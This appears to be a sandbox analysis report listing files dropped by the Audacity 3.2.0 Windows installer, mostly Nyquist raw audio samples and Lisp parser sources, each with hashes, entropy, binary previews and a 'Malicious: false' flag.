C:\Program Files\Audacity\Nyquist\rawwaves\mand1.raw (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	5.656106266798655
Encrypted:	false
SSDEEP:	48:p478lK6pppjGIyBiS0fN8/hvN5O+wMJWgDYVPY:y78lHpppqI+infu/n5OEwPY
MD5:	F7BC8A1C49B3BEE92C56E7CEA742EB9C
SHA1:	CEB45D6D521E0019A1ED73F5456D14E8E67B904E
SHA-256:	5C8CEB469A57517CC9F847B870B1A7E7CE9D948B1038893CC5163D7F666E39E4
SHA-512:	C7EC28CF749D1E24E8530791A9B36E85F4DD084769BD9515B16B303651456AC2134D85005987D66F375C05B4DD6994C8FF0340586D2C8CC0EDAEA3704C93676E
Malicious:	false
Preview:	.....&......6........!....X.U.8.r...,..$......q.P.......w..l...D.5.r.C..........................Z.0.......d.............-!..9.....k.p.L.......(.....L.{.&.,...........q...e.A.t.....)...L.t.V.J.(.,.o.w..W.~...T...L.....6.........X.p.Z.....K...2...........g.......Z.................-...................z........?...........<...............[.x.....{.g...........S...,...@.........c...:.........r...........I...#...i...Z.....!...H.S.h... .m.......D.....u.........U.....b./...H.Q...{.b...&.........5.....\|...r.Q...........<...L.......;.l.........].r.......\...................\|.`.................N...q.......$.Q.+.(.C.........Z.......n...j._...................X.S...:.....e.}.i...3.c...b... .....@...%.t...........k...x.......M...\|...K.w.....9.......!.W...0.9...`...w.......g...1.v...C.....^.....-...?..._.........r...........g.%...............1.h.......R...M...........r...........2...........i.....;...".o.......9.....o.H.M.`.m.T.....R.n...(.....}...S...j.......B._.M.!...../.E.......?.....r....

C:\Program Files\Audacity\Nyquist\rawwaves\mand10.raw (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	5.572635105732737
Encrypted:	false
SSDEEP:	48:i5SOftlS8LcZ1BYJoYiiUPAXNRDRQr+DNNv:i5SOft08hziUzirgNv
MD5:	CD4C5A53C2045CAE83D5E508490FDBD5
SHA1:	AC31120DAC95B44069E76B5B4FAD018A5460CA51
SHA-256:	B199BFD7295EA55ED8C0AE944E8D8333670EF3E43818F0E586B4F5F8E0A0F6EE
SHA-512:	39EBE2CD1F141F50E04929387690D4299BE88AFD840B69E8CE167951B4E8A96563429E6F82C56D8A09B6AF2694C00706849BCA1A8E7525371843ACA27B65EB51
Malicious:	false
Preview:	.........#.....}.....$......."...Z.k...........a.....$.....4.2.....%.=......._.......U....P.......=.....g.......K.....<./.............+...+.............".i...;.............l.........................q.....^.{.....F.....l...............f...J...........0...............f.C...H.....{.....o.........^.......U.-.r.3...{.k.V.`.....D.N.....W.J.h....._.H.x...q.M.d.....0.......s.....{...J...F...#........R.+...........6.......M.....k.O.A.........%.....6.'.....\|.q...6...g.3.......m.#.g.;.3...Z.".....W.k.................)...S.[...............@.\|...1.......\.........A.".).%.6.....t. .K.F.............!..... ...................C...6.f.u............. .5...............%.Q...../...........}.....@...m.\.A.......@....y.......{...B.'...........a.....Q...8.....z.......3.K.T.Q.P.........l.Q.0...............V.........l...c.............,.[.g.@.!.................M.......>.n...........................b.$.........f.<...........................#.4.A.Z.s...........W.........;.A.R.j.w...........q.T.P.g.........].#..

C:\Program Files\Audacity\Nyquist\rawwaves\mand11.raw (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	5.224185277355442
Encrypted:	false
SSDEEP:	48:LGOJB+Lx3iT/DpGG4lK8BtfOrLEd1cwHLo3:iOP+LliT1knfOMd1cwHLo3
MD5:	BE166CB8B23E105DD41C4EC4FC609693
SHA1:	F7AB190C1A668207959E43361CBE6DA8B62563E5
SHA-256:	C177000FA5524D948A82FC71F796F78C199CA9F414BF374172E2E92FB1CAD832
SHA-512:	5786586F98E91D1EA6F35158EBEC315E76C53D72A47543526A77E7C2C0A953C9D89D11140CB7E513B22176D8BB1CECE24A7D32DBED01B974D24C25EF936A8126
Malicious:	false
Preview:	...K.../.p.....:.....M.........v.Q........./.Y.....f.\...c...^.u...V.....e.........w.....N.}..._.=.......H.X.M...{.....h.n...M.......\|.{.~.........Y.....6...............s.x.....?.P.s.W.....'.0...S.....C.3.M...<.............h...).....................P.........#...T...........y...............A.g.%.5...........K.........................6.Y.2.w.4...........................W.....%.R...b.......o.........K.......#.r.8.#. .7.....8._.Q.....................y.v.......F.......D...5.D.L.L.....u.O.......g...............U...........P.k.............:.....k.........f.4...........v.x.#...........M.C.....i.>.O.t.Z.O............./.P...(.....U.O.N.\.>..._.......t.}.....X.>.7.G.2.....w.X.u.....>.......i...l.?.<...............................u.........G...o.E.Q...............P...............v.........&.M.<.........[. ...........s.j.g.s.............r.\|.................c.p.................................l.m.v.................c.P.\.t...............5.E.O.h...........".6.@.@.@.?.G.P.B.%.............}.y.u.b.;....

C:\Program Files\Audacity\Nyquist\rawwaves\mand12.raw (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	5.368917490955171
Encrypted:	false
SSDEEP:	24:g+lEnAIAk9HVH8sQaZqo4saIiF+hHqUy+7zfF/yhGfN4RHW5+Y2E8geVY:XKdl1H8LjRsWghKUyAzN/yhGfRcm8gcY
MD5:	6518E6CE8268F007B65E1CBA973F06E0
SHA1:	2F58440E62DEEA8AE0BFE3DB9DB3160F83CB1D7E
SHA-256:	789AF6E0ABD508D23B4183B1EF223A3C21E8DB633152CF862BBCEE4068D67994
SHA-512:	33F8998C4154B0C1C2524F9207D8121F4B1A388FB1126FE6393F96D95EDAB770DF9D19D7F29F1C2BC126B8E85F038D04A2E7F981ED0B7580E74D141D66A19D25
Malicious:	false
Preview:	........................................"...H.......e.........K.......3._.............8.X...........i.....;.V.d...6...M...J...<.m.....y.....V.....f.v.............2.`.....`.l...J.@.j.......4...^...1.i.i.1.@.......9.L.....c.....0...Y.....k.A.............K...]...6.......L...........S.`.3...1...../...d.....U...7.....).".......^.W...8.'.........t...?.........L.x.....................................!...%.?.........P...D.f.Z...@.'.......o.....6.?.....T.^.......k.......s...].................s.0.....b.b.........x...)...:.......&.....~...:.............?...........,.........W.......i.p...............Y.1.C.....c.P.........=.................".....u.......Z.....[.....l...).:.....r.........I.....................U.B.2...\...@.\._.......'.^.....q...........).S.......i.....r...........t..... .....4.m.r.T.'...0.V.z.T...m.,...9.].....2.....r./.............C.a.E.......Q.p.d.4.........x.Z.Q.3.................../.'.......#.=.`.......'.W........................... ._.....w.Z.[.g.`.@.........p.f.X.V.`.~.....L

C:\Program Files\Audacity\Nyquist\rawwaves\mand2.raw (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	5.461215930959213
Encrypted:	false
SSDEEP:	48:piboTGE0RYVU/9n+SPkcimhqcraLoJkXW:I470RYVUdyDPcra2kXW
MD5:	4BD6C4DB11AB2D9CE14D4728928A7B5D
SHA1:	EBD16A2661660DC3652FB3394D7B2972E325899A
SHA-256:	EF77EAE8BFDD2119EC95BE5489C584C67148D6823785139D3C212EFB5C816FA4
SHA-512:	AA534024D78678D0A47F30258B268D69E36D759B458230B4D1102B7F4B3D945EF0FCAA5AAF85FCF4805A3E8C7EB4CC925904B6B0EF16F0CA7C140AEDA1499AD9
Malicious:	false
Preview:	.......e...^.......e...............n.9.e.........f.f.[.......j.....h......o...?.\.y.....`..........t.F.f...=.........c.M...............e...I...3...h..........>...........d.....n...>........W......@.O.......U...d...1.....x.4.....b...3.........s.Q.......r...T.F...(.p.......&.....\.......j.....`...l...8.".g.t.....q.............4.7.....P.T.u...T...j...... .............z.$.................!.....>.......;...x.......N.C.Q.e.....I.S.N. .......U.X.........=.........V.....1.H.....'...s.i...).....4...:.................H...-...^.9.........T.Y.......:.......[.................l...(.....u.^.}...........@.....g.+...<.6.....u...Y.........d...........<...i...........a.....K.a.....^.*.......).............V.[.......p...........!.;.....p.u.....a.D...F.(...../.....(...i.........;.........`.....?.......6.....@.B.................,.........&.....P.Q.....K.c.4.:.....R.G.r...Y...w.}.{.U.....O.................................F.o.....".a.x.u.9.............`.........K.(.$.0.>.L.<..............................

C:\Program Files\Audacity\Nyquist\rawwaves\mand3.raw (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	5.690837206116423
Encrypted:	false
SSDEEP:	24:OyFXGiQxjfCWZOTJFVWhK6tFInNsrZgpss/fcak53D4GoxxwGjwkkmhgo+S87Hm7:UfCWZOTJFoOkIR/fCMVgkkmK/7Hw/LJ
MD5:	0EAD9C302B69AA31C331371B125DEDEA
SHA1:	E821E3FE4DA7F45A74BC8A9A8993E723608785CA
SHA-256:	5D014470E5B47CEDD9B548C0404B78B4E630444486BD010C1CC81987DCAFB775
SHA-512:	44C4621346172A18B0F2AEEB8537037323945CE76DCAF701FAA11BEF1C73B692601B18435F3760E873D89CB96FEEEF04C501BF32A0C92F69AC65DFE279842C90
Malicious:	false
Preview:	...\...Y.b.........b..........!&.0......i.....X.....%.O...<.....K.9.m...J.R.N....\|.................!.6.B.....D............7...,.....x....!..j...!.......B...8.J...9.`...............G.........t.....(...=............:.N.#....V...(...N.....T.....%.......9......0.....D.0......."...4...........~.....G.t.f.>.f.............=.X.........+.=...n...................,.g.^.........k.......u......._.....$.........>...I./.......................z.:...U./...........r.........X.....H.....b.5.H...>.......p.....J.G.O...........<....................j.w.....Q..._.......}.[.V.:.&.............T.....%.e.............s...,.Q.\|.-.L.....j.g...h...w....1.Y.N...D.C.....;...o...5.....{.....n...1.......$.....g...O.....z...~.l.p...~....... ...=........!...7...Q...C.(...H.....K.........R.e.............Q...c.O.:...............%.....\.................~...G.3.......z...].a.....!...<.........g.......9.............n...?.......H.q.R...........].3...J.......@.6.....h.....G...............<.6.*.P.................-.$..

C:\Program Files\Audacity\Nyquist\rawwaves\mand4.raw (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	5.404196401920885
Encrypted:	false
SSDEEP:	24:UVUdauxojctHNuauSTqENRytQ2Bnkc65xe/cLTSr9cRRvBLrSwrBt2+l6it:VfxowtJRCQUAO/sR17tRl6W
MD5:	DB64221B4889E983B2322F2FE2D74E1D
SHA1:	CB5E21C9C3C23AC09F1B92FB217735A6732D4B95
SHA-256:	0214E79479D909D21799422AD4AA869965951259839860BC4F1DBD230BB65161
SHA-512:	BFCFA3EDF6CED538F9CA81B90C779239375C6F7F1013F622A7951991B858BCF39819E8BA19A9D19E1422FEA7FE695B1CE4D2F5F518AA249CD24B160B2BC4A235
Malicious:	false
Preview:	...h...........7...w.}...........\..(f!~.A.....<..........x...4......p.......V...................'.p.C...2.....+.......2.......y...w...u.....J...w.O.U...'.1...s.}.x.6........~.......$.....,.....+.........8...u...z...............c...........U.y...9.........o.....J.;.!.......w.......................8.i.....#...W.......t.t.-.u.I.........................r.......P....... .........k.Y...........l...9.V.......d...........O.n.....`.^...Y.....V...N.Z.A... .3...........!.............N.....&...B...#.R.T...........!...........I.......(...G...............b...............}...-...................d...L.7.~.....N.e.h.....=...m.).Q.........Q.......................o.........k.......E.y.....#.R.....................E.h.(.6...4.............w.......b.........+.....b...Q.......m...K.......E.......D.Q.....E.?.v...........9...d._.O.#...............X.x.k.{.......R.........................W.].y.................p.u.............h.....<...3.................J.............U.7.j.........].+........................

C:\Program Files\Audacity\Nyquist\rawwaves\mand5.raw (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	5.818841828451541
Encrypted:	false
SSDEEP:	48:tpPLo70xVEHaOxGXPwEaKPls0nxpp9Tzu:rPLo70x2680haiHnxHBu
MD5:	F803D9716D72860694FA92922D6B8B59
SHA1:	C2F6E7CF5EEA93506A2271DDC6B4D924884C613B
SHA-256:	C664721F0081694D9A0B54A078F3E7F3E5386B6CB8528A297FCD5E4195AC9280
SHA-512:	892FCD45C248C2C7FC3EB5A254461B5FC956DBE1AB525DF4F420DBD28DEB23F362BE07221968886BC993F3837A250DFEBBD13A63903FCFF31DD4E46F6A1A62C7
Malicious:	false
Preview:	...........V.z.:...@...I". ..............q.Q.[.}.A.....x........1...u...V......c.N..........l.m.\.'....R.!.=.........T...............E.A.a...o...R.....d.G...~.............8...2...........'...9....\|...[.......v.G.............'.(.......T.N.M...}...]...X.....k...s...............k.......}.#.................u...D.Z.0.m.7...........{.......3.j.8.<.............(...R.U................[.2...g.....r.!.s......&.S.....P...?...`.....7.......+.K.j...N.......................H.-...........a.M._.....@...........n.v...M...2...j...8...............S.....\|.D...................v.[.<.......~...;.[...Y.......u.......'.P...m.....M...............!...a...'.>.X.....,.........".....N.....Y.......z.W.......y........X.6.H.N.......s.......`.s.......@...G.......u...o.....1...6.8.................m.......P...........&.........h.J.............M...r...}.#.h...!.S.....\...?.r.4...K.".;.O./.......9.........u.Y.......Z.....w.(.........<.......l...........$...7.....!.........].............@.M.1.....<.........S..

C:\Program Files\Audacity\Nyquist\rawwaves\mand6.raw (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	5.892671390904293
Encrypted:	false
SSDEEP:	24:FteGhcCOs5vbuJpwSEl915pRkNZC6+8t3WREEUl9v5Ix23X66fQ/xpMesFfa5nKH:PebdsVbuLw/1nRX7a3GI15S2fWqonK9h
MD5:	7ECE94025A2C7CF005DF7E74B70EADA8
SHA1:	8459B6104CB868456C3B1ED890D695C64272FFA5
SHA-256:	2B841479312D2C5DB5446A180A9C052FCA2341C12C50A73C08AC273F2223DBC5
SHA-512:	A8CB350C877BE6A77545389B8C89BFC89BBD0E020BA8F2EB6AE26C7E2B0D59DA71F43DF3D3AB72831F998C6F16EF190F46E5BA41D80C5E1427E915D2B4CC5603
Malicious:	false
Preview:	.....{.....4.G.7..!. ..j..............7.4.$..N...m.......B.........,...c.t...M.....v.v...(.u.2...5..........\|.D....;.\|.....%.T...V...P.....3...[.g.P.e.......u...4.q...k.........5.........`...U.@.a.U.T.b.J.8...........t......... .....r...............c.....Q.......?.r.....&.........M...........G.a..'.S...-.C.._.........3...2.?...z.Z._...A.?.......A.....f...r.J.......a...{...m.......(.w........&......o.c.F.......6...0.......W.\.r.]...l...\|....._.............Z...v.....:.k.L.y.n.......A.R...9...(.....7...<.f.............p.....L...t.....n.....o...O...U.3.../.........j.........?.....x.m.\...Z...............#.R.......Y.........).........2.........S.P.......K.x.......l.u.1...........s...-.......'.Z.B.....b.....P...........`.[.&.....H.....h.....(.h.%.....i...R.......o.M...............0.F.......B.....'._...@.....}.p.........B.n.V.$.6...H...........\|.[.L.M...............................h...........m.S.......B.....w...6...............X...............K.d.a.A.........3.O.X.F.+............

C:\Program Files\Audacity\Nyquist\rawwaves\mand7.raw (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	5.289342842651435
Encrypted:	false
SSDEEP:	24:bqziz6tkSOUDa1qqeyx4E543bOI3hbhl0SsiaRzoMDanMmAKvj8ABqw4/H08p:blFUDoeytoOI3hbQSs5SnMU8a4/H0i
MD5:	C49A0E8B2E88F7114C177909FA21382E
SHA1:	96356A27E73263B1CBBBF727227E6A6BE856D4E3
SHA-256:	C1717EA91121449DBB5F9306581F32D0D56E97432FF202DB654F48BF64D771CD
SHA-512:	25D0AD0FE8A5E613BC6560A6F5A9D786B27702358BBB09A02985D3B04652A2BB03B4ECB4BAB526F3AA5FB73061F32596ECBD4B03777ABBBA0A91DE688D66C5B2
Malicious:	false
Preview:	.................s...........v.0.$.....n...L.V.'.c... .t.....~.....f...........'...).../...........%.5.......]...M...0...K.......x...K.g.,.................v...........-.....7./.....e.....P.}...Y.......H...@...\|.a.....K.H...........@.....g.......l.........`.=.a.h.........O.:...X.....z.........f.......J.......X.:.S.E...O.........}.u.\. .(...../...2.\...O.8.o.....;...............n.......\.........b.......8...[.......R.........v.......k.................I.........^.G.....".....Q.c.......R.......l.:.n...<...;.X...........q.8.8.N.d.Q.$.c...............>.......'.Z.......R...................H.......U.....(.).....<.......c.J.h.....................n.<.!.2.O."...............b.A.......D.....................".r.......................I.^.e.q.....................(.H.l.....}.8...................o.C.........................y.x.~.z.y.z.........&.8.+............... .................{.t._.L.@.?.J.X.f.].9...........+.<.`.............Y.................#.E.^._.M./.......#.............p.f.k.g.K................

C:\Program Files\Audacity\Nyquist\rawwaves\mand8.raw (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	5.164305586662321
Encrypted:	false
SSDEEP:	48:1K8ZtrtEMvSJ7in9kwgG7K1io2ar8Yx6OUtlUzzebrjso:08ZvqJ7KqwkYo2arrx6/UzBo
MD5:	B01515AE69CA22BE1FF01E21C4B639A5
SHA1:	283DEEA013BBE4D201A93DBD607B27A4DAE40ACE
SHA-256:	C2BA6443222560B8ABFA8554F07E4448567E9EE3323B3C5E32477528E572714A
SHA-512:	CBA156B34D6078A55A5966455161C50732DD439F7836CA50F8329F64E59A46C4C425B6F84D8B2EE9503AD35F50578D544374017D026AF6E4B72211329AB2306D
Malicious:	false
Preview:	.......S...R.7...........(...$...r.z.............-...k.....R...J.....1.......W...<...f.2...........f.R...........y.A.......................E.q.{...R.....w.................Z.......).F...*...........t.g.....'.N.9..... ...............I...=.......9...................@...=.Z.5.+...!...Z...........C.L.\.......{.".B...D.....3...6...............n.z.F.;...e...=.A...:.T.........6.1...........b.....d.S.............>.b.R.N...&...........`...L...a.....L.....\|.....h.................D.......p...;...t.0.....$...M.k.z.........C.5.G.....5.......).B.{.....l...Q.....(.......%.........;.k.2...s.d.u......./.....7...y.......>.(.....9...........5.b...9.u.............................d.9.......u.I.%......._.\.].'.....i.b.n.g.T.6.(.=.;.2.D.l.......5.R.c.d.u...........9.a...........z.t.x.......................................k.N.0.........................................2.M.U.Q.I.J.H.<.$.............q.].Y.V.P.J.A.9.4.9.:.9.=.H.X.h.w.......................).G.^.k.z...........................................t.Y.D.7

C:\Program Files\Audacity\Nyquist\rawwaves\mand9.raw (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	4.814309398696276
Encrypted:	false
SSDEEP:	24:V9xV6GME8kimxBVSwd9TOXWiAGWmdl7Q7jcnp2sazuaIPtYgl45WfJyTM:FgGZ8k93VhL3hGW04cUsBaIPt4WB1
MD5:	E43258BD825CDE737D73548729414A24
SHA1:	E3DC779E50E376D3CFC410AD578BBFC5E70780BE
SHA-256:	44AC373AA764CDAD8588845916E075BB1C2752F7B3B510381A3257967D5BDB97
SHA-512:	74E80222166813039DA51C6B1E9BBF5F139FFF23B94BCFA453628F5A5152210C4333630F0C131429E28A0B091464B74EFA35CF307B72517E39FF90A7092683F5
Malicious:	false
Preview:	...(.....9...$...?...............,.R.....9...P.....k.......>.d...........X...M...?...g.{.".......3.....'.w.i.....#.$...Z.....}...................".......=.~.z.......8.......@................. .....B...........k.....V.........+...P.I.........[.....B.m.......=.....................F.$.j.N.5...J.......H.L...3.................d...]...X.........+.......z.......n...[.....:.Y.....:.....x.............e.;.b...................P.<.B.......@.../.........6...g.@.C.9.....6.I...".....w.....\|...a.l...%...p...M...........b.2.T.....b.2...........+.....L.......+.....b...\|...q.\.........6...H.............y.........................r.D.....c.......C.........E.......z.B.#.....8... .c.T.1...K.q.0...8...?.?.....X.....................T.......q.t.....o.Y.x.............s.f.i...........`.....H.e.H.+.(...............T...g.....n.H.......x._.O.P.l.g.F.1.>.b.l._.a.{............................................................................. .%.'.0.>.@.6.,.0.B.T.`.T.,...............7.V.i.`.?...............&.4.4.6.E.`.x

C:\Program Files\Audacity\Nyquist\rawwaves\mandpluk.raw (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	data
Category:	dropped
Size (bytes):	8900
Entropy (8bit):	7.133412710060552
Encrypted:	false
SSDEEP:	192:syRFcmX7J6o+G0qS4TYgI6AnCt7SdYXTl91fe9g8MYNq/Gi67NQ/zbmuD/VY9LV:sOcUOER4dop91EMCi6O/3mh95
MD5:	3276B9B4AA69724C8F8A35A4636BD639
SHA1:	450AF782E9DB38979004A1BF7A82F54DB79A442B
SHA-256:	A48AA9156AC33E39BB627901727B424AD54CCE28A42A806933E00BD1E64715BA
SHA-512:	5282C8C8CC7B5B7C1C0BE0CB1B5C18750988C49EE6BF1FF312EC94E193FFC7B2735CFE914FB69DAB55FE3D75D94CAAD021994BD801121F1DF2E1F2446C824C2F
Malicious:	false
Preview:	.....e.........K.r.......s..........7.m.P6.L.`[n.t[p-e.W?H.8.!..?... .......Z.\..........q.=.0......................Q...y.6.78.[.s.\|.y.q.j.i>k.n.l.b.P_;R)} .#...8.<.5(&~.7.....x.Q..........:.........Z.B...$...&...[............^..............?......"):.Q.d.p<vpxlx6w\|v.v.r.k.`/R.E.;.5./C(."B.....`.9...v.\.q..../.;.d.........h...\.^.p...{.w.D.o....o.O.......m...k.@.^.m...6.>........j...0.0.h...........U.................p'.+a).$c....&.58E4P.U.U.U.Y._.c.`.S.A.1<)z,.5]?.D{D_@`:\|3Q........&.L...X......3...z.......n.......R..Q.P......K.l.....S.............J.../...g.....M.N.......+.. ."."_ ..e.R....'.5.C.K.K.C 7.0.1.=PL.XwZxR?D.7.0./L/...(....w.......K.D.k....... .......$....>.a..,.J..."...p...U.(......)......h.8.....T..........i.a.D.y ......r!.).6.F<T.a2j.oSq=o.k.c.[.R.K(E.?.9.3%+.$$...8....................X..8....l...;...............h...0.......4..s...........s.e.....-.......................N.f...I...\|..".'...6a?.G.O.T.W.U.RbN.L.L.M.M.J.Ed>.

C:\Program Files\Audacity\Nyquist\rawwaves\marmstk1.raw (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	raw G3 (Group 3) FAX
Category:	dropped
Size (bytes):	512
Entropy (8bit):	6.509182861139312
Encrypted:	false
SSDEEP:	12:O2L9hZ4EYQxVr0ueDWScNmsoNZA6ABFm2dAEbzba:/LjZ4EY80uecIZAbnLdA0Pa
MD5:	BEBF8E89F2080CD0BDA2D757655C8460
SHA1:	C4C5D8DDB10C6575F34F1728DB654C974566D6D3
SHA-256:	5AEA6F211B667471A4DEB1CDA4EE05538A0728687B7B583D4EF37D4142B1C624
SHA-512:	16081FEDBB8F62C788162B577ACDD47F94916A7F97170C38D1B3E6F51A583B8C79FA92DA73D5C6CDC800EF4035A9871D14A3C2811E2364B7706A573427A9375A
Malicious:	false
Preview:	.......-.......i.0.2..........T.......\|.o.g....1;.s.d...h'>.Q-..........;.#...........(...........e.h.......O.5.).A...C.......E.>../....^...+...............s...c...V.......t.P...5.q...C.............R.^.....d.............).Y..... .......<.......F.................}.o...c.C...........`....m.....;...X...e...........s.....E.B...t.....o.l.w..... .........R.#.....................V.........N.....f...W.n.........<......................L.R......................................................................

C:\Program Files\Audacity\Nyquist\rawwaves\sinewave.raw (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	7.808139447862836
Encrypted:	false
SSDEEP:	48:I8mMaLehJZCnswC66ifMmY3hpJSdcCmlxb2Z:Ia6eJZQD6ifoxS2C2yZ
MD5:	B2134D7CC270CF894A3E47A903764BD3
SHA1:	279E3CDCCA1FD15F1C491C2EFEC89D6021FC6C90
SHA-256:	4BA86DB423214A378E38FA92DF513E24D2E143C6D7D865C9345171ED03D2729A
SHA-512:	A2DCDE4AB9F2B636366400DD572C85C91F459D8DE4A5ADFD28446E94A0AB3FFD1A996AA4E1FCA396CA586D102F8DF02EF3ACE2070362B798FE8D0B1A522679F4
Malicious:	false
Preview:	.......[.$.....~.G.......j.2.......S.......r.9.......U.......m.3.......F.......V.... .!a"#".#.$g%'%.&.'g(&(.).a+.+.,.-T..../.0A0.1.2m3&3.4.5M6.6.7o8$8.9.:?:.;.<V=.=.>g?.?.@sA A.ByC%C.DzE#E.FtG.G.HiI.I.JWJ.K.L?L.M.N N.O]O.P.Q3Q.RhS.S.T2T.U_U.V.W.W.XBX.YcY.Z.[.[.\(\.]=].^O^._]_.`g`.ana.bqb.cpc.dkd.ebe.fVf.gEg.h1h.i.i.i.jlj.kJk.l#l.l.mam.n0n.n.o^o.p"p.p.q@q.q.rTr.s.s^s.t.t^t.u.uTu.u.v@v.v.w"wkw.w.x?x.x.y.yIy.y.z.zAz\|z.z.{%{\{.{.{.\|)\|Y\|.\|.\|.}.}8}a}.}.}.}.~.~>~^~~~.~.~.~.... .7.L.a.t...........................................................t.a.L.7. ..~.~.~.~.~~~^~>~.}.}.}.}.}a}8}.\|.\|.\|.\|Y\|){.{.{.{\{%z.z.z\|zAz.y.y.yIy.x.x.x?w.w.wkw"v.v.v@u.u.uTu.t.t^t.s.s^s.r.rTq.q.q@p.p.p"o.o^n.n.n0m.mal.l.l#k.kJj.jli.i.i.h.h1g.gEf.fVe.ebd.dkc.cpb.bqa.an`.`g_._]^.^O].]=\.\([.[.Z.Y.YcX.XBW.W.V.U.U_T.T2S.S.RhQ.Q3P.O.O]N.N M.L.L?K.J.JWI.I.HiG.G.FtE.E#DzC.C%ByA.A @s?.?.>g=.=.<V;.:.:?9.8.8$7o6.6.5M4.3.3&2m1.0.0A/.....-T,.+.+.a).(.(&'g&.%.%'$g#."."#!a ......V.......F.......3.m.......U.......9.r.......S.......2

C:\Program Files\Audacity\Nyquist\sal-parse.lsp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	72171
Entropy (8bit):	4.346825030196894
Encrypted:	false
SSDEEP:	1536:Zk/UnWMGZaDWm1L+Dm7vdGk3dG9ju0OShlKKbWj:ZksnLGZeBaOdGk3dG9ju0OShlKKbw
MD5:	23693158698B40417DAF14F2688CFA3D
SHA1:	C49F578DE500DCF38E87892EA7281DFABC76351A
SHA-256:	59C72DF6BC516588EDDEDC6F521E5D0A30E2B37D4CE93A1E9DB586E41CD28BF3
SHA-512:	262214D9F813319E2538DE5B856395433F655E2DF3A2134C386233A9E69B74940ABE935C30E2C4932D217234FE52DF43A92589CFA9867BCCE98DE2D5263B531A
Malicious:	false
Preview:	;; SAL parser -- replaces original pattern-directed parser with..;; a recursive descent one..;;..;; Parse functions either parse correctly and return..;; compiled code as a lisp expression (which could be nil)..;; or else they call parse-error, which does not return..;; (instead, parse-error forces a return from parse)..;; In the original SAL parser, triples were returned..;; including the remainder if any of the tokens to be..;; parsed. In this parser, tokens are on the list..;; sal-tokens, and whatever remains on the list is..;; the list of unparsed tokens.....;; scanning delimiters.....(setfn nreverse reverse)....(defconstant +quote+ #\") ; "..." string ..(defconstant +kwote+ #\') ; '...' kwoted expr..(defconstant +comma+ #\,) ; positional arg delimiter..(defconstant +pound+ #\#) ; for bools etc..(defconstant +semic+ #\;) ; comment char..(defconstant +lbrace+ #\{) ; {} list notation ..(defc

C:\Program Files\Audacity\Nyquist\sal.lsp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24084
Entropy (8bit):	4.602648010261214
Encrypted:	false
SSDEEP:	384:2G7GEr0OhGuLhuZek7ugokvl7JDz7+bvJ5rACb2qpVRXgr7n5E7dquy:2G7GDOhzgr7NFdJehi62qpVRXgr7cry
MD5:	6AADF8F0F82B99C674FA63411F62836B
SHA1:	5F1D63289F774EBC194AC8D0294C99126D7FE65D
SHA-256:	61B3280F4474112548D4CA7DD2DED8C3C26BE105C91E1953312970D607974A1A
SHA-512:	2587E967CE5ABC401E63E4554AEEBD9EEF1E12FBA5997E1B418B60E1B81C00529CDDBC2A9EB8919C3D396A9F18912A11C4FF62143001E08858457D38621E86A1
Malicious:	false
